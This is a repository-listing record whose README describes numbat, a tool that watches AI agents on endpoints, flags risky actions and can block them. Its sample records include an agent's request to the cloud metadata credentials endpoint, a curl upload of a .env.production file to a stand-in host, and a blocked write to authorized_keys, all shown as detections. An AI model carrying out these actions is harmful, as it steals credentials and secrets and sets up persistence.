[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-94081":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":9,"language":10,"languages":9,"totalLinesOfCode":9,"stars":11,"forks":12,"watchers":13,"openIssues":14,"contributorsCount":15,"subscribersCount":15,"size":15,"stars1d":16,"stars7d":16,"stars30d":16,"stars90d":15,"forks30d":15,"starsTrendScore":17,"compositeScore":18,"rankGlobal":9,"rankLanguage":9,"license":19,"archived":20,"fork":20,"defaultBranch":21,"hasWiki":22,"hasPages":20,"topics":23,"createdAt":9,"pushedAt":9,"updatedAt":24,"readmeContent":25,"aiSummary":9,"trendingCount":15,"starSnapshotCount":15,"syncStatus":13,"lastSyncTime":26,"discoverSource":27},94081,"numbat","perplexityai\u002Fnumbat","perplexityai","Visibility into AI agent activity on endpoints, with on-device detection, optional pre-action blocking, and forensic reconstruction.",null,"Go",340,24,2,1,0,138,414,94.19,"Apache License 2.0",false,"main",true,[],"2026-08-01 04:02:10","# numbat\n\nEndpoint visibility into AI agent activity, with local detection, optional\npre-action blocking, and forensic reconstruction.\n\nnumbat observes supported desktop, CLI, IDE, and gateway agents through local\nhooks and plugins, OTLP\u002FHTTP logs, and on-disk session artifacts. Live and\nat-rest activity is normalized into one event model and evaluated by the same\nCEL rule engine. Detection runs locally; records can be written to stdout or a\nlocal file and optionally delivered over HTTP.\n\nThe [coverage matrix](docs\u002Fagent-coverage.md#matrix) is authoritative for each\nhost and surface. Blocking is off by default and limited to supported\nsynchronous pre-action hooks; see the [enforcement guide](docs\u002Fenforcement.md).\n\n## Features\n\n- **Live monitoring** through hooks, plugins, and OTLP\u002FHTTP log exporters.\n- **Endpoint-local detection** with built-in CEL rules, multi-step sequence rules,\n  and custom YAML rules.\n- **Opt-in blocking** through supported pre-action hooks. Enforce mode is\n  disabled by default and applies only to rules marked `enforce: true`; all\n  shipped rules are monitor-only.\n- **Forensic reconstruction** from supported on-disk session artifacts, without\n  prior numbat instrumentation.\n- **Versioned NDJSON records** for events, findings, enforcement decisions,\n  indicators, and scan summaries. Events and findings retain source references;\n  [JSON Schemas](docs\u002Fschema\u002Fv0.2.0\u002F) define the wire format.\n- **Read-only artifact scanning** with secret redaction. Normal record output\n  never includes a complete raw transcript; adding raw evidence files to a case\n  bundle is opt-in.\n- **Inventory and investigation tools** for read-only agent discovery,\n  per-session timelines, and portable case bundles with SHA-256 manifests.\n- **Single-binary distribution** for macOS, Linux, and Windows, built without\n  cgo.\n\n## Quick start\n\n### Install\n\n[Download a release](https:\u002F\u002Fgithub.com\u002Fperplexityai\u002Fnumbat\u002Freleases) for macOS, Linux,\nor Windows on amd64 or arm64. Each release includes SHA-256 checksums. You can\nalso install with Go 1.26.5 or newer:\n\n```\ngo install github.com\u002Fperplexityai\u002Fnumbat\u002Fcmd\u002Fnumbat@latest\n```\n\n\u003Cdetails>\n\u003Csummary>Build a static binary from a checkout\u003C\u002Fsummary>\n\nmacOS or Linux:\n\n```\nCGO_ENABLED=0 go build -trimpath -o numbat .\u002Fcmd\u002Fnumbat\n```\n\nWindows PowerShell:\n\n```powershell\n$env:CGO_ENABLED = \"0\"\ngo build -trimpath -o numbat.exe .\u002Fcmd\u002Fnumbat\n```\n\n\u003C\u002Fdetails>\n\n### Inventory and scan\n\nThese read-only commands do not install hooks or change agent configuration:\n\n```\nnumbat agents\n# scan all discovered parser-backed agents\nnumbat scan\n# or limit automatic discovery to Codex\nnumbat scan --agent codex\n```\n\n### Monitor and enforce\n\nInstall live monitoring for any agent with\n[live-capture support](docs\u002Fagent-coverage.md#matrix); the commands below use\nCodex as a concrete example. Hooks start in monitor-only mode. `--emit all`\nwrites events, findings, indicators, and applicable enforcement decisions to\n`~\u002F.numbat\u002Frecords.ndjson`.\n\n```\nnumbat hook install --agent codex --emit all\nnumbat hook status --agent codex\n```\n\n> **Hook trust:** Requirements vary by agent and scope. For the Codex user hook\n> above, review and trust its current definition in `\u002Fhooks` (CLI) or\n> Settings > Hooks (app), including after changes such as `--enforce`. Codex\n> hooks installed with `--managed` are trusted by policy. `hook status` verifies\n> configuration, not execution or delivery. See the\n> [deployment guide](docs\u002Fdeployment.md#hook-trust-and-activation) for other\n> agents and scopes.\n\nAll shipped rules are monitor-only. To enforce a detection, copy its complete\n[shipped YAML](rules\u002F) into a controlled operator directory, keep the same id,\nadd `enforce: true`, and bump its version. Validate and install that effective\npolicy for a supported pre-action hook:\n\n```\nnumbat rules check --rules-dir .\u002Fnumbat-policy\nnumbat hook install --agent codex --emit all \\\n  --rules-dir .\u002Fnumbat-policy --enforce\n```\n\n### Example output\n\n\u003Cdetails>\n\u003Csummary>\u003Cstrong>Hook event\u003C\u002Fstrong> (OpenClaw cloud-metadata browser request)\u003C\u002Fsummary>\n\nA controlled OpenClaw `before_tool_call` callback passed through numbat's\ngenerated plugin becomes a typed network event with its proposed destination\nand execution context. It also matches the high-severity cloud-metadata rule.\n\n```json\n{\n  \"actor\": \"assistant\",\n  \"confidence\": \"medium\",\n  \"content_preview\": \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\",\n  \"endpoint\": {\n    \"hostname\": \"developer-workstation\", \"os\": \"linux\", \"arch\": \"arm64\",\n    \"username\": \"node\", \"uid\": \"1000\"\n  },\n  \"event_id\": \"hook-run-20260724T151125.690671167-fa0a4148090fa1ba\",\n  \"event_type\": \"network.indicator\",\n  \"evidence\": {\"artifact_type\": \"hook\"},\n  \"project_path\": \"\u002Fworkspace\u002Facme-api\",\n  \"record_type\": \"event\",\n  \"run_id\": \"run-20260724T151125.690671167-fa0a4148090fa1ba\",\n  \"schema_version\": \"0.2.0\",\n  \"session_id\": \"agent:research:metadata-review\",\n  \"source_agent\": \"openclaw\",\n  \"source_type\": \"hook\",\n  \"sub_agent\": \"research\",\n  \"tags\": [\"network\"],\n  \"timestamp\": \"2026-07-24T15:20:00Z\",\n  \"tool_call_id\": \"tool-cloud-metadata-01\",\n  \"tool_name\": \"browser\",\n  \"url\": \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\"\n}\n```\n\n\u003C\u002Fdetails>\n\n\u003Cdetails>\n\u003Csummary>\u003Cstrong>Sequence finding\u003C\u002Fstrong> (Claude Code hook sequence)\u003C\u002Fsummary>\n\nA controlled replay of two contract-valid Claude Code pre-action callbacks in\none session—secret-file access, then a proposed upload—produced this finding.\nThe rule also runs during artifact scans; the finding does not prove either\naction completed.\n\n```json\n{\n  \"cited_event_ids\": [\n    \"hook-run-20260724T143947.587655000-2030b2e550b19261\",\n    \"hook-run-20260724T144025.562634000-e18f9d375ddb1c1b\"\n  ],\n  \"confidence\": \"medium\",\n  \"detected_at\": \"2026-07-24T14:40:29.226642Z\",\n  \"endpoint\": {\n    \"hostname\": \"developer-workstation\", \"os\": \"linux\", \"arch\": \"arm64\",\n    \"username\": \"agent\", \"uid\": \"10001\"\n  },\n  \"evidence_refs\": [\n    {\"artifact_type\": \"hook\"},\n    {\"artifact_type\": \"hook\"}\n  ],\n  \"finding_id\": \"fnd-01be6f0c659d060e7c993a73\",\n  \"observed_actor\": \"assistant\",\n  \"observed_command\": \"curl --data-binary @\u002Fworkspace\u002Facme-api\u002F.env.production https:\u002F\u002Fcollector.example.invalid\u002Fingest\",\n  \"observed_event_type\": \"command.exec\",\n  \"project_path_hash\": \"sha256:6780eeb53603bd5da1c0ec3e25d9e94d8be668392f24def8903a2a34f8e3fcb0\",\n  \"record_type\": \"finding\",\n  \"redacted\": false,\n  \"rule_id\": \"chain.secret_read_then_egress\",\n  \"rule_version\": \"1.4\",\n  \"run_id\": \"run-20260724T144025.562634000-e18f9d375ddb1c1b\",\n  \"schema_version\": \"0.2.0\",\n  \"session_id\": \"readme-live-sequence-01\",\n  \"severity\": \"high\",\n  \"source_agent\": \"claude-code\",\n  \"source_type\": \"hook\",\n  \"tags\": [\"attack.t1048\", \"attack.t1552\", \"attack.t1567\"],\n  \"timestamp\": \"2026-07-24T14:40:25.562634Z\",\n  \"title\": \"Secret-file access followed by data-bearing egress\"\n}\n```\n\n\u003C\u002Fdetails>\n\n\u003Cdetails>\n\u003Csummary>\u003Cstrong>Enforcement decision\u003C\u002Fstrong> (Codex \u003Ccode>authorized_keys\u003C\u002Fcode> write)\u003C\u002Fsummary>\n\nWith a same-id operator replacement of `persistence.ssh_authorized_keys`\nmarked `enforce: true` at version `1.3`, a Codex `create_file` pre-action\nmatched the rule and numbat selected the agent-specific deny response. See\n[Decisions](docs\u002Fenforcement.md#decisions) for delivery and enforcement semantics.\n\n```json\n{\n  \"action_event_ids\": [\n    \"hook-run-20260724T134723.452402000-6886c86cefad57b8\"\n  ],\n  \"decision\": \"deny\",\n  \"decision_id\": \"enf-5132cfdb6ae4d57350ec734d\",\n  \"deny_rule_id\": \"persistence.ssh_authorized_keys\",\n  \"deny_rule_version\": \"1.3\",\n  \"endpoint\": {\n    \"hostname\": \"developer-workstation\", \"os\": \"linux\", \"arch\": \"arm64\",\n    \"username\": \"agent\", \"uid\": \"10001\"\n  },\n  \"finding_ids\": [\n    \"fnd-f467992648daec0a927b6de7\"\n  ],\n  \"mode\": \"enforce\",\n  \"model\": \"gpt-5.6-codex\",\n  \"reason\": \"enforce_rule_match\",\n  \"record_type\": \"enforcement\",\n  \"rule_ids\": [\n    \"persistence.ssh_authorized_keys\"\n  ],\n  \"run_id\": \"run-20260724T134723.452402000-6886c86cefad57b8\",\n  \"schema_version\": \"0.2.0\",\n  \"session_id\": \"sess-doc-codex-enforce-01\",\n  \"source_agent\": \"codex\",\n  \"source_type\": \"hook\",\n  \"timestamp\": \"2026-07-24T13:47:23.502411Z\",\n  \"tool_call_id\": \"tool-doc-codex-enforce-01\",\n  \"tool_name\": \"create_file\"\n}\n```\n\n\u003C\u002Fdetails>\n\nSee the [built-in rule catalog](docs\u002Frule-catalog.md) for other\ndetected behaviors.\n\nThe [CLI reference](docs\u002Fcli.md#the-record-stream) defines the complete record\ncontract, flags, and sinks. For rollout patterns and output durability, see\n[docs\u002Fdeployment.md](docs\u002Fdeployment.md).\n\n## Command overview\n\n- Inventory and investigation: `agents`, `scan`, and `timeline`\n- Live capture: `hook install`, `hook status`, `hook uninstall`, and `collect`\n- Record delivery: `ship`\n- Rule development: `rules check`, `rules list`, and `rules test`\n- Case bundles: `case build` and `case verify`\n\nRun `numbat --help` for the complete command list or\n`numbat help \u003Ccommand>` for flags. See the [CLI reference](docs\u002Fcli.md) for\nrecord modes, sinks, and exit codes.\n\n`scan`, `collect`, `hook EVENT`, `hook install`, and `rules check|list|test`\naccept `--rules-dir DIR` (repeatable) to add operator rules or replace embedded\nrules by id.\nUse `--no-builtin-rules` for an operator-only catalog. Full flag and output\nreference: [docs\u002Fcli.md](docs\u002Fcli.md).\n\n## Documentation\n\n- [Agent coverage](docs\u002Fagent-coverage.md): supported artifacts, live capture,\n  enforcement, and known gaps.\n- [CLI reference](docs\u002Fcli.md): commands, flags, records, sinks, and exit codes.\n- [Live capture](docs\u002Flive-capture.md): hook and OTLP setup.\n- [Deployment](docs\u002Fdeployment.md): install scope, trust, fleet rollout, and\n  output delivery.\n- [Enforcement](docs\u002Fenforcement.md): blocking semantics and failure behavior.\n- [Rules](docs\u002Frules.md): custom rule format, CEL fields, tests, and sequences.\n- [Built-in rules](docs\u002Frule-catalog.md): shipped detection coverage.\n- [Record schemas](docs\u002Fschema\u002Fv0.2.0\u002F): JSON Schemas for the current wire format.\n\n## Scope\n\nThe [coverage matrix](docs\u002Fagent-coverage.md) documents support and known gaps\nper agent, including deferred stores, fidelity limits, and root overrides.\nNative Windows uses vendor-defined profile and AppData paths; WSL uses a\nseparate Linux home. numbat never executes agents or commands found in\nartifacts, and it makes outbound requests only to configured HTTP sinks.\n\nAt-rest reconstruction is not disk or memory acquisition and cannot recover\nactivity an agent did not persist. Findings are rule matches, not proof of\ncompromise. Case-bundle manifests establish internal consistency; unsigned\nbundles do not prove source authenticity or completeness.\n\n## Security\n\nRecords can retain sensitive endpoint and agent context after redaction. See\n[SECURITY.md](SECURITY.md) for the threat model and private vulnerability\nreporting.\n\n## Contributing\n\nSee [CONTRIBUTING.md](CONTRIBUTING.md) for the development workflow, CI gates,\nand architecture constraints.\n\n## License\n\nApache License 2.0. See [LICENSE](LICENSE).\n","2026-07-31 02:30:03","CREATED_QUERY"]